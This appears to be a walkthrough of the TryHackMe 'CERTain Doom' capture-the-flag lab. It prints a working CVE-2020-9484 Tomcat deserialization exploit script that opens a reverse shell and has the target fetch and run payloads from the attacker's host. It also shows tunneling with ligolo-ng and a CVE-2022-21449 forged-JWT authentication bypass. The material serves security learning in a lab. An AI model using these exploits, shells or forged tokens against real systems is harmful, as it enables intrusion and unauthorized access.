Introduction

Detailed walkthroughs for CERTain Doom CTF challenges on TryHackMe .

$ echo "10.10.81.254 certain-doom.thm" >> /etc/hosts

Mappped the ip to domain certain-doom.thm.

Questions

1. What is the web flag? Hint:Today's lucky number is 11 
2. What is the user's flag?
3. What is the super secret flag? Hint: supersonic subatomic

Initial Foothold

Rustscan

$ rustscan -a certain-doom.thm -- -sV -sC      
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
[~] The config file is expected to be at "/root/.rustscan.toml"

Open 10.10.81.254:22
Open 10.10.81.254:80
Open 10.10.81.254:8080
[~] Starting Script(s)
Scanned at 2024-09-14 08:29:53 IST for 157s

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 60 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:69:84:5c:69:01:42:2d:da:01:3e:13:a6:db:2f:c3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI9RmMphpZ0uukrNxPj8ojeRdQF3nTPgufa6bqShoWI9Sfs78koCvg+oYL2dz+o+JU34j7kbNnzqrlkvG2piLgjGa/nzZbUVpiAk85TGSrltb2H9p6ORqTXmgnFNitwynoz8tI0XqIBxuQm801hEYBOYFdEqRp8pPLkbDI8gDUJCtk8Ta+v189AXvIBragn4jPcXS7wbX61csUr7jGjneln9hybY4GC/cmHMIF2sYCzHbDuwl7bC4QVf8Qd1DNknR0f7pPGillIa76d4c+10pF83kv4QjZf3WRdytNo6psqg9VH2Kz6AWpPn9z6aWTanONQzl3HdP8mzBzsUA76ZPh/IgNQDrCJTmM9SX4z2n60+aqlPo6PjvM8XxSu/XvPsvzpL+CABmz+k2ziCmd+nQ0tJrpIwUFTpb/82ZbGSDtFNNm35vsL++R5yHodU0jvb0Yq8blpUu4vh7Pzuiryk2H7HgjYcj1FmPwGvv+HpdY+uPQwuIA9xe2bnxZ8BW7LKE=
|   256 cc:55:d5:72:1d:be:03:85:d5:7e:3e:1a:d6:72:2c:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLig4AYdXAxFRwdUHHUtXGkdr3GFGGM83WssnCjyrU1deeFT1BDuit5NI+7nEqVl0BeSSU3LRpHeLpSIYiugxC0=
|   256 08:34:3b:e0:5d:d1:37:d4:68:28:6b:cf:e2:f1:53:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINFfDent94JxaXvMValeP9zIhJO8/mj/WFtHqGkUsv4X
80/tcp   open  http       syn-ack ttl 59 hastatic-1.0.0
|_http-server-header: hastatic-1.0.0
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Length: 117674
|     Accept-Ranges: bytes
|     Date: Sat, 14 Sep 2024 03:00:00 GMT
|     Server: hastatic-1.0.0
|     Content-Type: text/html
|     Cache-Control: no-transform,public,max-age=300,s-maxage=900
|     Last-Modified: Thu, 26-Jan-2023 22:44:29 UTC
|     ETag: 98eb1c6fb079742e0b8682cb642c5c777329ebbe
|     Vary: Accept-Encoding
|     Referrer-Policy: strict-origin-when-cross-origin
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     <!doctype html>
|     <html class="no-js" lang="">
|     <head>
|     <meta charset="utf-8">
|     <title>Super Secret Admin Page</title>
|     <meta name="description" content="">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta property="og:title" content="Hydra's Super Secret Admin Page">
|     <meta property="og:type" content="website">
|     <meta property="og:url" content="https://admin.certain-doom.thm">
|_    <meta property="og:image" content="">
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Super Secret Admin Page
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
8080/tcp open  http-proxy syn-ack ttl 59 Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found
|_http-server-header: Apache Tomcat 9?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Sat, 14 Sep 2024 03:00:00 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 404 
|     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
|     Found</h1></body></html>
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sat, 14 Sep 2024 03:00:00 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.30 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

We got 3 active ports: 22, 80 and 8080.

certain-doom.thm
Initially found an js animation and redirected to the youtube video.

certain-doom.thm:8080
404 error on port 8080.

Path Discovery by fuzzing

ffuf -c -u http://certain-doom.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt -fs 1054
________________________________________________
.htaccess               [Status: 200, Size: 50504, Words: 11960, Lines: 1226, Duration: 195ms]
favicon.ico             [Status: 200, Size: 766, Words: 8, Lines: 2, Duration: 156ms]
robots.txt              [Status: 200, Size: 78, Words: 8, Lines: 6, Duration: 191ms]

No useful results found here.

ffuf -c -u http://certain-doom.thm:8080/FUZZ -w /usr/share/wordlists/dirb/big.txt
________________________________________________
reports                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 156ms]


ffuf -c -u http://certain-doom.thm:8080/reports/FUZZ -w /usr/share/wordlists/dirb/big.txt
________________________________________________
css                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4827ms]
upload                  [Status: 405, Size: 449, Words: 34, Lines: 1, Duration: 342ms]

Found an interesting result /reports/.

8080:reports/

/reports page
/reports/ page which in port 8080.

error when clicking upload
An error occurs when the upload button is clicked without choosing a file.

response on uploading a file
Obtaining the file's destination path after upload.

CVE-2020-9484

Google search with known factors
Based on our initial Google search, we’ve discovered a potential exploit. We’ll need to validate it through further testing.

#!/bin/bash
# Exploit Title: Apache Tomcat RCE by deserialization
# CVE-ID: CVE-2020-9484
# Tested on: Kali Linux 
# Remote Code Execution by Deserialization
# your attacker IP, set to your own IP address

if [ "$#" -ne 3 ]; then
    echo "#Usage: ./CVE-2020-9484 <target_ip> <local_ip> <local_port> "
    exit 1
fi

# optional:     			
target_ip="$1"
target_port=8080			
remote_ip="$2"
port="$3"

if [ -z "$1" ] || [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
	echo ""
	echo "$(tput setaf 3;tput bold)usage: ./CVE-2020-9484.sh target-ip"
	echo ""
	echo "$(tput setaf 4;tput bold)Please start a web listener in /tmp folder:"
	echo "$(tput setaf 3;tput bold)python3 -m http.server 80"
	echo ""
	echo "$(tput setaf 4;tput bold)and start your netcat listener at port 4444:"
	echo "$(tput setaf 3;tput bold)nc -nvlp 4444"
	exit	
fi

# look for ysoserial file on your attacker system
# check out install.txt file for instructions how to install ysoserial
find_ysoserial_on_system(){
	echo "$(tput setaf 6;tput bold)[+] Checking if you have installed ysoserial.."
	sleep 1
	ysoserial_file=$(find / -name "ysoserial-master.jar" -type f 2>/dev/null)
	if [ -z "$ysoserial_file" ]; then
		echo "$(tput setaf 1;tput bold)You need ysoserial-master.jar in order to use this script!"
		echo "$(tput setaf 1;tput bold)Please make sure to follow the install.txt guide!"
		echo "$(tput setaf 1;tput bold)Quitting.."
		exit
	fi
	echo "$(tput setaf 5;tput bold)[+] Found ysoserial-master.jar!"
}


# creating payload files using ysoserial
create_payload_files(){
	echo "$(tput setaf 6;tput bold)[+] Trying to create payload files.."
	sleep 1
	echo "$(tput setaf 6;tput bold)[+] Creating payload.sh file.."
	rm -rf payload.sh
	echo "#!/usr/bin/bash" >> payload.sh
	echo "bash -c 'bash -i >& /dev/tcp/$remote_ip/$port 0>&1'" >> payload.sh
	sleep 1
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create first ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 "curl http://$remote_ip/payload.sh -o /tmp/payload.sh" > downloadPayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create second ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo "$(tput setaf 6;tput bold)[+] Trying to create last ysoserial payload file"
	sleep 1
	java -jar $ysoserial_file CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo trying to create getting file
	sleep 1
	echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
	echo "$(tput setaf 4;tput bold)[+] Succesfully created all files!"
	echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
	sleep 1
}

#get a reverse shell
get_reverse_shell(){
	echo "[+] Trying to get a reverse shell.."
	echo "[+] Make sure to have netcat and python weblistener in current folder running.."
	curl http://$target_ip:$target_port/reports/upload -F 'file=@downloadPayload.session'
	sleep 1
	curl  http://$target_ip:$target_port/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
	sleep 1
	curl http://$target_ip:$target_port/reports/upload -F 'file=@chmodPayload.session' 
	curl  http://$target_ip:$target_port/reports/upload -H 'Cookie:JSESSIONID=../../../../../../../../../../../usr/local/tomcat/temp/uploads/chmodPayload'
	sleep 1
	curl http://$target_ip:$target_port/reports/upload -F 'file=@executePayload.session' 
	curl  http://$target_ip:$target_port/reports/upload -H 'Cookie:JSESSIONID=../../../../../../../../../../../usr/local/tomcat/temp/uploads/executePayload'
	echo ""
	echo "$(tput setaf 5;tput bold)[+] Finished!"
	echo ""
	echo "$(tput setaf 4;tput bold)[+] If you don't have a reverse shell, try to run it again!"
}


# start RCE exploit
find_ysoserial_on_system
create_payload_files
get_reverse_shell

The provided Bash script is a modified version of PenTestical’s CVE-2020-9484 exploit , designed to function effectively with our specific target.

sudo apt-get install openjdk-11-jdk
sudo update-alternatives --config java

This code snippet is used to install Java 11 on Ubuntu-based systems and configure it as the default Java environment.

$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.11.11] from (UNKNOWN) [10.10.50.246] 50344
bash: no job control in this shell
bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root)

We obtained a root shell here.

bash-4.2# cat /usr/local/tomcat/.flag
cat /usr/local/tomcat/.flag
THM{FLAG_1_REDACTED}

We found our first hidden flag.

Penetrating Internal Network

Better shell

python -c 'import pty; pty.spawn("/bin/bash")'
^Z #(Ctrl+Z)
stty raw -echo && fg
export TERM=xterm

Got better shell by running the above commands.

bash-4.2# curl http://10.10.11.11/linpeas.sh > linpeas.sh
bash-4.2# chmod +x linpeas.sh 
bash-4.2# ./linpeas.sh

Linpeas.sh uncovered potentially risky entries in the /etc/hosts file. We are inside docker container.

/etc/hosts

bash-4.2# cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4      2c5b93ea49de
172.18.0.3      2c5b93ea49de

Two IP addresses, 172.20.0.4 and 172.18.0.3, were found in the /etc/hosts file. These addresses likely indicate a connection to the internal network.

nmap

A pre-compiled network scanner (static nmap) was retrieved and transferred to the target system for further analysis.

curl http://10.10.11.11/nmap -o /tmp/nmap
chmod +x /tmp/nmap

Downloading and making a standalone network scanner executable for discreet reconnaissance

First Network

bash-4.2# /tmp/nmap -sn 172.20.0.4/16
Starting Nmap 6.49BETA1 ( http://nmap.org ) 
Stats: 0:00:08 elapsed; 0 hosts completed (0 up), 4096 undergoing ARP Ping Scan
Nmap scan report for ip-172-20-0-1.eu-west-1.compute.internal (172.20.0.1)
Host is up (0.000051s latency).
MAC Address: 02:42:4A:AF:77:20 (Unknown)
Nmap scan report for cert_library_1.cert_cert-internal (172.20.0.2)
Host is up (0.000014s latency).
MAC Address: 02:42:AC:14:00:02 (Unknown)
Nmap scan report for cert_library-back_1.cert_cert-internal (172.20.0.3)
Host is up (0.000052s latency).
MAC Address: 02:42:AC:14:00:03 (Unknown)
Nmap scan report for 2c5b93ea49de (172.20.0.4)
Host is up.

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.1
Nmap scan report for ip-172-20-0-1.eu-west-1.compute.internal (172.20.0.1)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  webcache

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) 
Nmap scan report for cert_library_1.cert_cert-internal (172.20.0.2)
PORT   STATE SERVICE
80/tcp open  http	

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.3
Starting Nmap 6.49BETA1 ( http://nmap.org ) 
Nmap scan report for cert_library-back_1.cert_cert-internal (172.20.0.3)
PORT     STATE SERVICE
8080/tcp open  webcache

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.4
Nmap scan report for 2c5b93ea49de (172.20.0.4)
PORT     STATE SERVICE
8080/tcp open  webcache

The IP addresses 172.20.0.2 and 172.20.0.3 were identified as potential points of interest within the internal network.

Second Network.

bash-4.2# /tmp/nmap -sn 172.18.0.3/16
Nmap scan report for ip-172-18-0-1.eu-west-1.compute.internal (172.18.0.1)
Host is up (0.000031s latency).
MAC Address: 02:42:11:FA:35:62 (Unknown)
Nmap scan report for cert_admin_1.cert_cert-frontend (172.18.0.2)
Host is up (0.000035s latency).
MAC Address: 02:42:AC:12:00:02 (Unknown)
Nmap scan report for 2c5b93ea49de (172.18.0.3)
Host is up.

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.1
Nmap scan report for ip-172-18-0-1.eu-west-1.compute.internal (172.18.0.1)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  webcache

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.2
Nmap scan report for cert_admin_1.cert_cert-frontend (172.18.0.2)
PORT     STATE SERVICE
3000/tcp open  hbci

bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.3
Nmap scan report for 2c5b93ea49de (172.18.0.3)
PORT     STATE SERVICE
8080/tcp open  webcache

Here interesting ip is 172.18.0.2.
Let’s dive into the 172.20.0.* network!

ligolo-ng tunneling

Implementing a secure tunneling solution with Ligolo-NG . Acquiring the necessary agent and proxy components.

# Add a tun interface named "ligolo"
sudo ip tuntap add user kali mode tun ligolo

# Set the interface up
sudo ip link set ligolo up

# Add a static route to 240.0.0.1 via the ligolo interface
sudo ip route add 240.0.0.1 dev ligolo

# Add a static route for the 172.18.0.0/16 network via the ligolo interface
sudo ip route add 172.18.0.0/16 dev ligolo

# Add a static route for the 172.20.0.0/16 network via the ligolo interface
sudo ip route add 172.20.0.0/16 dev ligolo

Established a new route.

./proxy -selfcert

Initiating the listener on the attacker’s machine.

curl http://10.10.11.11:8000/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect 10.10.11.11:11601 -ignore-cert

Launching the agent.

ligolo-ng connection

Agent successfully established a connection with the proxy.

library

172.20.0.2:80

Let’s use Burp Suite to analyze the requests and responses of a web page.

Burp-suite: GET - 172.20.0.2:80
The request to the IP address 172.20.0.2 resulted in a 403 CORS error due to an invalid origin. The expected host library-back should be mapped to 172.20.0.3, while library should be mapped to 172.20.0.2.

echo "172.20.0.2 library" >> /etc/hosts
echo "172.20.0.3 library-back" >> /etc/hosts

Successfully added the host mappings.

Burp-suite: repeater
Modifying the referrer and origin headers resulted in a 401 Unauthorized response. Let’s attempt to access the resource at http://library/ directly from the web browser.

library/login
We got a simple login page here.

burp-suite - POST library-back:8080/j_security_check
We are getting 401 Unauthorized error when trying to sign in.

Lets fuzz this.

$ ffuf -c -u http://library/FUZZ -w /usr/share/wordlists/dirb/big.txt 
robots.txt              [Status: 200, Size: 64, Words: 3, Lines: 3, Duration: 524ms]
sitemap.xml             [Status: 200, Size: 152, Words: 4, Lines: 4, Duration: 361ms]
$ ffuf -c -u http://library-back:8080/FUZZ -w /usr/share/wordlists/dirb/big.txt 
documents               [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 209ms]

Let’s examine the sitemap and robots.txt files.

$ curl http://library/robots.txt
Disallow:
Sitemap: https://myapp.local/sitemap.xml

$ curl http://library/sitemap.xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>https://myapp.local/</loc></url>
</urlset>

The previous analysis did not yield any significant findings.

login as bob user

Using the credentials bob for username and password, we successfully logged in. A cookie named credz was set upon login. Let’s attempt to utilize this cookie in our request to http://learn-back:8080/documents.

curl -X POST -d "j_username=bob&j_password=bob" http://library-back:8080/j_security_check -i

Upon successful login, a cookie will be set in the response.

learn-back:8080/documents
The request with the included cookie successfully authenticated, resulting in a 200 OK response.

hint for a flag
During further testing, we encountered an intriguing finding. Our next step is to devise a method for downloading these files.

Burpsuite - HttpHistory
The webpage relies on numerous JavaScript scripts for its functionality. Let’s delve into these scripts using the developer tools in Firefox.

p-dc627881.entry.js - download_file_uri
The URL for downloading files is http://library-back:8080/documents/download/filename. Let’s employ the curl command to retrieve the necessary files.

curl "http://library-back:8080/documents/download/flagz.docx" -H "Cookie: credz=$cookie" -o flagz.docx

The following command successfully downloads the flagz.docx file using the provided cookie.

the flag! HAHA!!!
The filename was misleading. I recall noticing other intriguing filenames as well.

$ curl "http://library-back:8080/documents?Hidden=true" -H "Cookie: credz=$cookie" | jq
[
    {
        "id": "64d35510774649ab3562697f",
        "name": "Todo",
        "author": "bob",
        "filename": "todo.md",
        "hidden": true,
        "created": "2022-05-02T13:31:13.495",
        "modified": "2023-08-04T08:27:44.168"
    },
    {
        "id": "64d35510774649ab35626980",
        "name": "Chat Logs",
        "author": "bob",
        "filename": "chat.log",
        "hidden": true,
        "created": "2023-08-09T09:02:13.028",
        "modified": "2023-08-09T09:02:13.028"
    }
]

Two potentially valuable files have been identified: todo.md and chat.log. These filenames suggest they may contain sensitive information.

curl "http://library-back:8080/documents/download/todo.md" -H "Cookie: credz=$cookie" -o todo.md
curl "http://library-back:8080/documents/download/chat.log" -H "Cookie: credz=$cookie" -o chat.log

Having successfully downloaded the files, let’s examine their contents.

$ cat todo.md && echo && echo ============*****============ && cat chat.log
# Bob's Todo List

* [ ] Fix CVE-2020-9484 on Reports
* [x] Get next month's pentesting schedule ready
* [ ] Talk to the SOC about brute force detection
* [ ] Fix authentication issues in the docs library
* [x] Don't show hidden files for users who aren't logged in
* [x] Check for SQL injection in the library backend

# Notes:

- All good for client X's pentest!
- Shouldn't be any SQL injection now, we're using a proper framework.
============*****============
[2023-08-08 18:53] Bob: Hey do you have the specs for the tokens?
[2023-08-08 18:53] Hydra: It's a standard JWT, no?
[2023-08-08 18:54] Bob: Yeah, but what claims should we use?
[2023-08-08 18:54] Hydra: Just use the standard framework auth.
[2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java.
[2023-08-08 18:56] Bob: I'll get on that soon; we're just an internal service anyways, the firewall'll protect us.
[2023-08-08 18:57] Hydra: Can't always rely on that, Bob. Best be as secure as we can internally as well.
[2023-08-08 18:58] Bob: Right, before I forget, here's the flag for next week's security conf: THM{FLAG_2_REDACTED}

Final Flag

Based on the discovered data and the provided hint supersonic subatomic, let’s begin enumerating potential vulnerabilities. Our analysis of the chat and todo list has identified the following issues:

  1. CVE-2020-9484: A known vulnerability.
  2. Brute force detection: A potential security concern.
  3. Authentication issues: Problems with the documentation library.
  4. JWT vulnerability: The use of JWT with an unpatched or outdated Java implementation poses a risk.

CVE-2022-21449

Hint from AI

Here are some noteworthy findings related to CVE-2022-21449 from online research.

  1. QUARKUS | security-jwt
  2. PortSwigger | JWT
  3. CVE-2022-21449: Psychic Signatures in Java - Neil Madden
  4. NaInSec/CVE-PoC-in-GitHub/CVE-2022-21449
  5. davwwwx/CVE-2022-21449
  6. security-labs-pocs/proof-of-concept-exploits/jwt-null-signature-vulnerable-app
  7. Mateusz Rędzia | exploiting-jwt-token-vulnerability-in-hackthebox-scenario
  8. JWT.IO

CVE-2022-21449: The “Psychic Signatures” Vulnerability
CVE-2022-21449 refers to a critical vulnerability in Java’s implementation of elliptic curve cryptography (ECC) that affects the ECDSA (Elliptic Curve Digital Signature Algorithm) signature verification. This flaw allows an attacker to bypass authentication and signature verification checks by exploiting improperly implemented elliptic curve signatures, often referred to as “psychic signatures.” The vulnerability impacts Oracle’s Java SE versions 7, 8, 11, and 17 and is rated with a high CVSS score due to its potential to compromise secure communications.

import java.security.*;

// Generate a key pair using the Elliptic Curve algorithm
var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();

// Create a blank signature byte array of size 64
var blankSignature = new byte[64];

// Get a Signature instance for SHA-256 with ECDSA in P1363 format
var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");

// Initialize the Signature object for verification with the public key
sig.initVerify(keys.getPublic());

// Update the Signature object with the data to verify
sig.update("Hello, World".getBytes());

// Verify the signature using the blank signature
sig.verify(blankSignature);

This code generates an Elliptic Curve key pair, prepares to verify a signature for the message “Hello, World” using a blank signature, and initializes the signature verification process. sig.verify(blankSignature) will return true in vulnerable (before Java CPU patch) version.

$ echo -ne "MAYCAQACAQA" | base64 -d | openssl asn1parse -inform der                                                                                      
    0:d=0  hl=2 l=   6 cons: SEQUENCE          
    2:d=1  hl=2 l=   1 prim: INTEGER           :00
    5:d=1  hl=2 l=   1 prim: INTEGER           :00

The above result indicates that the decoded data is an ASN.1 SEQUENCE containing two INTEGER values, both of which are 00.

Cracking the JWT token’s algorithm is a complex challenge. We may need to experiment with various approaches to obtain a valid token.

import json, base64

header = {"alg": "ES256", "typ": "JWT"}
payload = {"sub": "hydra", "groups": ["user"]}

def encode(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode()).decode().rstrip('=')

token = f'{encode(header)}.{encode(payload)}.MAYCAQACAQA'

print(token)

The provided code will generate a valid JWT token for authorization, with the claims sub and groups.

$ curl http://library-back:8080/documents?hidden=true -H "Authorization: Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA" |  jq
[
  {
    "id": "64d35510774649ab35626981",
    "name": "Specifications for Document Library",
    "author": "hydra",
    "filename": "specs.pdf",
    "hidden": true,
    "created": "2022-10-25T17:30:24.34",
    "modified": "2023-10-25T17:30:24.34"
  }
]

Having successfully authenticated as the user hydra, we discovered a hidden file.

curl http://library-back:8080/documents/download/specs.pdf -H "Authorization: Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA" -o specs.pdf

The hidden file was successfully downloaded and saved as specs.pdf.

False flag
Upon further analysis of the specs.pdf file using a PDF reader, we discovered another misleading clue.

$ pdftotext specs.pdf specs.txt
$ rg -o THM specs.txt 
163:THM{FLAG}                           
177:THM{FALSE_FLAG}

The final flag was successfully obtained by executing the specified commands.

We solved the lab.
Happy Hacking !!! 😎